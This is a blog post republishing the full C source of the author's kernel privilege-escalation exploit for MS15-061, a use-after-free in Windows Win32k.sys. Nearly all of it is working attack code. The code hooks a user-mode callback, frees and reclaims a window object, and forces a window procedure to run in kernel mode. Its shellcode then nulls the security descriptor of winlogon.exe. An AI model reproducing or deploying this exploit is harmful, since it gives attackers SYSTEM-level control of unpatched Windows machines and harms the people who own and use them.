MS15-061 is a Use After Free vulnerability in Windows Kernel. A malicious application can exploit it be able to execute arbitrary code with kernel privileges.
in 2015 I managed to exploit it by reverse engineering Win32k.sys and it ended up in Metasploit , you can read the blog post about it in rapid7 .
I’m republishing the exploit here.
#include <windows.h>
#include <stdio.h>
typedef struct _HANDLEENTRY
{
PVOID phead ;
ULONG pOwner ;
BYTE bType ;
BYTE bFlags ;
WORD wUniq ;
} HANDLEENTRY , * PHANDLEENTRY ;
typedef struct _SERVERINFO
{
DWORD dwSRVIFlags ;
DWORD cHandleEntries ;
WORD wSRVIFlags ;
WORD wRIPPID ;
WORD wRIPError ;
} SERVERINFO , * PSERVERINFO ;
typedef struct _SHAREDINFO
{
PSERVERINFO psi ;
PHANDLEENTRY aheList ;
ULONG HeEntrySize ; // Win7 - not present in WinXP?
ULONG_PTR pDispInfo ;
ULONG_PTR ulSharedDelta ;
ULONG_PTR awmControl ; // Not in XP
ULONG_PTR DefWindowMsgs ; // Not in XP
ULONG_PTR DefWindowSpecMsgs ; // Not in XP
} SHAREDINFO , * PSHAREDINFO ;
void * Get__Win32ClientInfo ()
{
/*
+0x1d4 GdiTebBatch : _GDI_TEB_BATCH
+0x6b4 RealClientId : _CLIENT_ID
+0x6bc GdiCachedProcessHandle : Ptr32 Void
+0x6c0 GdiClientPID : Uint4B
+0x6c4 GdiClientTID : Uint4B
+0x6c8 GdiThreadLocalInfo : Ptr32 Void
+0x6cc Win32ClientInfo : [62] Uint4B
*/
void * address = NULL ;
__asm
{
mov eax , dword ptr fs : [ 00000018h ] // eax=TEB
mov eax , dword ptr [ eax + 0x6cc ] // Win32ClientInfo
mov address , eax ;
}
return address ;
}
CHAR originalCLS [ 0x5c + 2 ];
HWND GetKernelHandle ( HWND hwnd )
{
HWND kernelWindowHandle ;
ULONG i ;
HMODULE hUser32 ;
PSHAREDINFO pSharedInfo ;
PSERVERINFO pServerInfo ;
HANDLEENTRY * UserHandleTable ;
pSharedInfo = ( PSHAREDINFO ) GetProcAddress ( LoadLibraryA ( "user32.dll" ), "gSharedInfo" );
if ( pSharedInfo == NULL )
{
printf ( "[-] Unable to locate SharedInfo" );
return NULL ;
}
else
{
printf ( "[*] SharedInfo @ %#p \r\n " , pSharedInfo );
}
UserHandleTable = pSharedInfo -> aheList ;
printf ( "[*] aheList @ %#p \r\n " , UserHandleTable );
pServerInfo = pSharedInfo -> psi ;
printf ( "[*] pServerInfo @ %#p \r\n " , pServerInfo );
printf ( "[*] Handle Count: %d \r\n " , pServerInfo -> cHandleEntries );
// printf("User Delta 0x%p\r\n", pSharedInfo->ulSharedDelta); Not used
for ( i = 0 ; i < pServerInfo -> cHandleEntries ; i ++ )
{
__try
{
//
kernelWindowHandle = ( HWND )( i | ( UserHandleTable [ i ]. wUniq << 0x10 ));
if ( kernelWindowHandle == hwnd )
{
kernelWindowHandle = ( HWND ) UserHandleTable [ i ]. phead ;
printf ( "[+] Kernel Window Handle found %p \r\n " , kernelWindowHandle );
return kernelWindowHandle ;
}
}
__except ( EXCEPTION_EXECUTE_HANDLER )
{
}
}
return NULL ;
}
VOID ArbDecByOne ( DWORD addr )
{
* ( DWORD * )( originalCLS + 0x58 ) = addr - 0x4 ;
}
typedef struct _LARGE_UNICODE_STRING
{
ULONG Length ;
ULONG MaximumLength : 31 ;
ULONG bAnsi : 1 ;
PWSTR Buffer ;
} LARGE_UNICODE_STRING , * PLARGE_UNICODE_STRING ;
VOID RtlInitLargeUnicodeString (
PLARGE_UNICODE_STRING plstr ,
LPCWSTR psz ,
UINT cchLimit )
{
ULONG Length ;
plstr -> Buffer = ( PWSTR ) psz ;
plstr -> bAnsi = FALSE ;
if ( psz != NULL )
{
Length = wcslen ( psz ) * sizeof ( WCHAR );
plstr -> Length = min ( Length , cchLimit );
plstr -> MaximumLength = min (( Length + sizeof ( UNICODE_NULL )), cchLimit );
}
else
{
plstr -> MaximumLength = 0 ;
plstr -> Length = 0 ;
}
}
__declspec ( naked ) BOOL NTAPI NtUserDefSetText (
IN HWND hwnd ,
IN PLARGE_UNICODE_STRING pstrText OPTIONAL )
{
__asm
{
mov eax , 116 Dh
mov edx , 7 FFE0300h
call dword ptr [ edx ]
retn 8
}
}
// the Window Procedure
LRESULT CALLBACK WndProc ( HWND hwnd , UINT msg , WPARAM wParam , LPARAM lParam )
{
return DefWindowProc ( hwnd , msg , wParam , lParam );
}
void * kernelHandle ;
__declspec ( noinline ) int Shellcode ()
{
// return MessageBoxA(NULL,"Boom","boom",0);
__asm
{
mov eax , kernelHandle // WND - Which window? Check this
mov eax , [ eax + 8 ] // THREADINFO
mov eax , [ eax ] // ETHREAD
mov eax , [ eax + 0x150 ] // KPROCESS
mov eax , [ eax + 0xb8 ] // flink
procloop:
lea edx , [ eax - 0xb8 ] // KPROCESS
mov eax , [ eax ]
add edx , 0x16c // module name
cmp dword ptr [ edx ], 0x6c6e6977 // “winl” for winlogon.exe
jne procloop
sub edx , 0x170
mov dword ptr [ edx ], 0x0 // NULL ACL
}
}
BOOL success = FALSE ;
LRESULT CALLBACK WndProc2 ( HWND hwnd , UINT msg , WPARAM wParam , LPARAM lParam )
{
WORD um = 0 ;
__asm
{
mov ax , cs
mov um , ax
}
if ( um == 0x1b )
{
// USER MODE
}
else
{
success = TRUE ;
// DebugBreak();
Shellcode ();
}
return DefWindowProc ( hwnd , msg , wParam , lParam );
}
HWND Secondhwnd [ 50 ];
int SecondWindowIndex = 1 ;
void CreateSecondWindow ()
{
WNDCLASSEX wc ;
const WCHAR g_szClassName [] = L"SecondClass" ;
// Step 1: Registering the Window Class
wc . cbSize = sizeof ( WNDCLASSEX );
wc . style = 0 ;
wc . lpfnWndProc = WndProc2 ;
wc . cbClsExtra = 0 ;
wc . cbWndExtra = 0 ;
wc . hInstance = NULL ;
wc . hIcon = LoadIcon ( NULL , IDI_QUESTION );
wc . hCursor = LoadCursor ( NULL , IDI_QUESTION );
wc . hbrBackground = ( HBRUSH )( COLOR_WINDOW + 1 );
wc . lpszMenuName = NULL ;
wc . lpszClassName = g_szClassName ;
wc . hIconSm = LoadIcon ( NULL , IDI_QUESTION );
if ( ! RegisterClassExW ( & wc ))
{
return ;
}
for ( int i = 0 ; i < 50 ; i ++ )
{
Secondhwnd [ i ] = CreateWindowEx (
WS_EX_CLIENTEDGE ,
g_szClassName ,
L"The title of my window" ,
WS_OVERLAPPEDWINDOW ,
CW_USEDEFAULT , CW_USEDEFAULT , 240 , 120 ,
NULL , NULL , NULL , NULL );
if ( Secondhwnd [ i ] == NULL )
{
return ;
}
}
}
const WCHAR g_szClassName [] = L"MS15-061" ;
HWND hwnd ;
HINSTANCE hInstance2 ;
typedef NTSTATUS ( NTAPI * pUser32_ClientCopyImage )( PVOID p );
pUser32_ClientCopyImage g_originalCCI ;
void * __ClientCopyImageAddress ;
NTSTATUS NTAPI hookCCI ( PVOID p )
{
LARGE_UNICODE_STRING plstr ;
// free WND object
DestroyWindow ( hwnd );
UnregisterClassW ( g_szClassName , NULL );
/*
.text:BF89EA6D push edx
.text:BF89EA6E call _xxxClientCopyImage@20 ; xxxClientCopyImage(x,x,x,x,x)
.text:BF89EA73 lea esi, [edi+58h] ------->>>> replace edi memeory with NtUserDefSetText
.text:BF89EA76 mov edx, eax
.text:BF89EA78 mov ecx, esi
.text:BF89EA7A call @HMAssignmentLock@8 ; HMAssignmentLock(x,x)
*/
DebugBreak ();
RtlInitLargeUnicodeString ( & plstr , ( WCHAR * ) originalCLS , ( UINT ) - 1 );
NtUserDefSetText ( Secondhwnd [ SecondWindowIndex ], & plstr );
SecondWindowIndex += 1 ;
return g_originalCCI ( p );
}
void * Get__ClientCopyImageAddressInPEB ()
{
void * address = NULL ;
__asm
{
mov edx , 0xD8 ; // 0x36 *4 -> API index *4 number for __ClientCopyImage
mov eax , dword ptr fs : [ 00000018h ] // eax=TEB
mov eax , dword ptr [ eax + 30h ] // EAX=PEB
mov eax , dword ptr [ eax + 2 Ch ] // EAX=KernelCallbackTable
add eax , edx
mov address , eax ;
// int 3
}
return address ;
}
void init ()
{
DWORD prot ;
LoadLibraryA ( "user32.dll" );
CreateSecondWindow ();
void * lpvBase = VirtualAlloc (
( void * ) 0x0c0c0c0c , // System selects address
2048 , // Size of allocation
MEM_RESERVE | MEM_COMMIT , // Allocate reserved pages
PAGE_READWRITE ); // Protection = no access
/*
for safe exit : i used trick like Browser Fake vTable :
allocate 0x0c0c0c0c address and fill tagWND with 0x0c0c0c0c
so every dereference will loop in 0x0c0c0c0c
*/
memset ( lpvBase , '\x0c' , 2048 );
memset ( originalCLS , 0 , 0x5c + 2 );
memset ( originalCLS , '\x0c' , 0x5c );
/*
+0x014 bForceMenuDraw : Pos 15, 1 Bit
+0x014 bDialogWindow : Pos 16, 1 Bit
+0x014 bHasCreatestructName : Pos 17, 1 Bit
+0x014 bServerSideWindowProc : Pos 18, 1 Bit
+0x014 bAnsiWindowProc : Pos 19, 1 Bit
*/
kernelHandle = GetKernelHandle ( Secondhwnd [ 0 ]);
ArbDecByOne (( DWORD ) kernelHandle + 0x14 ); //
__ClientCopyImageAddress = Get__ClientCopyImageAddressInPEB ();
printf ( "address of __ClientCopyImage is %x \r\n " , __ClientCopyImageAddress );
if ( ! VirtualProtect ( __ClientCopyImageAddress , sizeof ( PVOID ), PAGE_EXECUTE_READWRITE , & prot ))
{
return ;
}
g_originalCCI = ( pUser32_ClientCopyImage ) InterlockedExchangePointer ( __ClientCopyImageAddress , & hookCCI );
}
int main ()
{
WNDCLASSEX wc ;
int x ;
MSG Msg ;
// Step 1: Registering the Window Class
wc . cbSize = sizeof ( WNDCLASSEX );
wc . style = 0 ;
wc . lpfnWndProc = WndProc ;
wc . cbClsExtra = 0 ;
wc . cbWndExtra = 0 ;
wc . hInstance = NULL ;
wc . hIcon = NULL ; // bypass check inside xxxSetClassIcon to lead execution path to callback
wc . hCursor = NULL ; // bypass check inside xxxSetClassIcon to lead execution path to callback
wc . hbrBackground = ( HBRUSH )( COLOR_WINDOW + 1 );
wc . lpszMenuName = NULL ;
wc . lpszClassName = g_szClassName ;
wc . hIconSm = NULL ; // bypass "if" inside xxxSetClassIcon to lead execution path to callback
init ();
/*
.text:BF91B33C mov edi, [ebp+pclsBase]
..............
..............
.text:BF91B346 mov eax, [edi+58h]
.text:BF91B349 cmp eax, [ebp+arg_8] ; new and old icon must be diffrent
.text:BF91B34C jz loc_BF91B42C ----------->>> we need bypass this
..............
..............
.text:BF91B396 loc_BF91B396: ; CODE XREF: xxxSetClassIcon(x,x,x,x)+68j
.text:BF91B396 lea esi, [edi+58h] ; EDI
.text:BF91B399 mov ecx, esi
.text:BF91B39B mov edx, [ebp+arg_8]
.text:BF91B39E call @HMAssignmentLock@8 ; HMAssignmentLock(x,x)
.text:BF91B3A3 cmp dword ptr [edi+44h], 0
.text:BF91B3A7 jz short loc_BF91B3B4 ---------->>> we need bypass this
.text:BF91B3A9 cmp dword ptr [esi], 0
.text:BF91B3AC jnz short loc_BF91B3B4 ---------->>> we need bypass this
.text:BF91B3AE push edi
.text:BF91B3AF call _xxxCreateClassSmIcon@4 ; xxxCreateClassSmIcon(x)
*/
do
{
if ( ! RegisterClassExW ( & wc ))
{
return 0 ;
}
// Step 2: Creating the Window
hwnd = CreateWindowEx (
WS_EX_CLIENTEDGE ,
g_szClassName ,
L"The title of my window" ,
WS_OVERLAPPEDWINDOW ,
CW_USEDEFAULT , CW_USEDEFAULT , 240 , 120 ,
NULL , NULL , NULL , NULL );
if ( hwnd == NULL )
{
return 0 ;
}
ShowWindow ( hwnd , NULL );
UpdateWindow ( hwnd );
// Triger UserMode CallBack
SetClassLongPtr ( hwnd , GCLP_HICON , ( LONG_PTR ) LoadIcon ( NULL , IDI_QUESTION ));
SendMessageW ( Secondhwnd [ 0 ], WM_NULL , NULL , NULL );
} while ( ! success );
}